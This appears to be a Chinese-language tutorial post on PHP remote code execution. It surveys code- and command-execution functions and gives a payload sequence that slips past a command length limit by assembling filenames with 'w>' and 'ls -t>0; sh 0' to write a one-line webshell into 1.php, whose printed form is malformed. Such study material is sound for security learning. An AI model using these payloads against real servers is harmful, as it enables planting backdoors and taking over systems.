远程命令执行RCE

远程命令执行RCE

一、代码注入

控制PHP代码

直接执行代码函数:

1
2
3
4
eval(mixed $arg);    #当作php代码执行(需要有分号)
assert(mixed $arg); #如果$arg是字符串,当作php代码执行(分号有无皆可)
${php代码}
......

间接:

1、call_user_func()——调用回调函数

mixed call_user_func(callable $callback [, mixed $paramter…]) #回调函数,第一个参数函数,第二个参数函数的参数is_callable(‘’)测试是否可以作为回调函数,system、assert允许

2、array_map()

array_map ( callable $callback , array $array1 [, array $... ] ) : array

和1、差不多,但是传入的参数是数组方式,数组里的每一个元素都要传入的回调函数里执行。回调函数有几个参数,就要传几个数组,每个数组对应每个函数的参数进行传参。

3、create_function() ——创建匿名函数

create_function(string $args, string $code) #创建一个匿名函数

4、preg_replace() 代码执行 ——字符串匹配,如/e且匹配成功则执行参数

preg_replace("/test/e",$_GET["h"],"jutst test"); 如果参数1的正则表达匹配到参数3的内容且参数1有/e修饰符,则执行参数2的代码。

5、preg_match 代码执行

二、命令注入

执行服务器命令

其它命令执行函数官方文档:https://www.php.net/manual/zh/ref.exec.php

比较不错的博客:https://blog.csdn.net/lzr77/article/details/16805155?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param

1、system()

system ( string $command [, int &$return_var ] ) : string

显示所有结果

2、exec()

exec ( string $command [, array &$output [, int &$return_var ]] ) : string

默认返回执行结果的最后一行

3、shell_exec()

shell_exec ( string $cmd ) : string

只返回所有结果,不自动打印返回结果

4、passthru()

passthru ( string $command [, int &$return_var ] ) : void

5、``运算符

​ 反引号直接执行命令

6、popen

​ popen(command,mode)

7、

dDMYwQ.png

dDMaYn.png

三、绕过命令注入长度的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#假设命令限制最长10字节,我们需要想办法在目标服务器中写入一句话木马
echo '<?php $_POST[1] >' | base64 #对一句话木马进行base64编码
echo PD9waHAgJF9QT1NUWzFdID4K|base64 -d>1.php #对base64解码可以获得一句话
w 命令是linux中最短的命令,有助于我们搭配重定向符进行命令切片与组合
#组成一下Payload,下面的每行Payload作为参数传入到服务器中作为命令执行。
*******
w>1.php
w>\ -d\>\\
w>base64\\
w>ID4K\|\\
w>NUWzFd\\
w>JF9QT1\\
w>9waHAg\\
w>o\ PD\\
w>ech\\
ls -t>0 #ls -t是按照文件创建的时间顺序排序文件名(时间越新越前),这样就把我们构造的文件名全都排序到了文件名为0的文件中
sh 0 #执行文件0中的内容,成功组成一句话木马并写入到1.php中
*******
#######文件0内容#######
0
ech\
o PD\
9waHAg\
JF9QT1\
NUWzFd\
ID4K|\
base64\
-d>\
1.php
#####################
########1.php内容#####
<?php $_POST[1] >
#####################

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器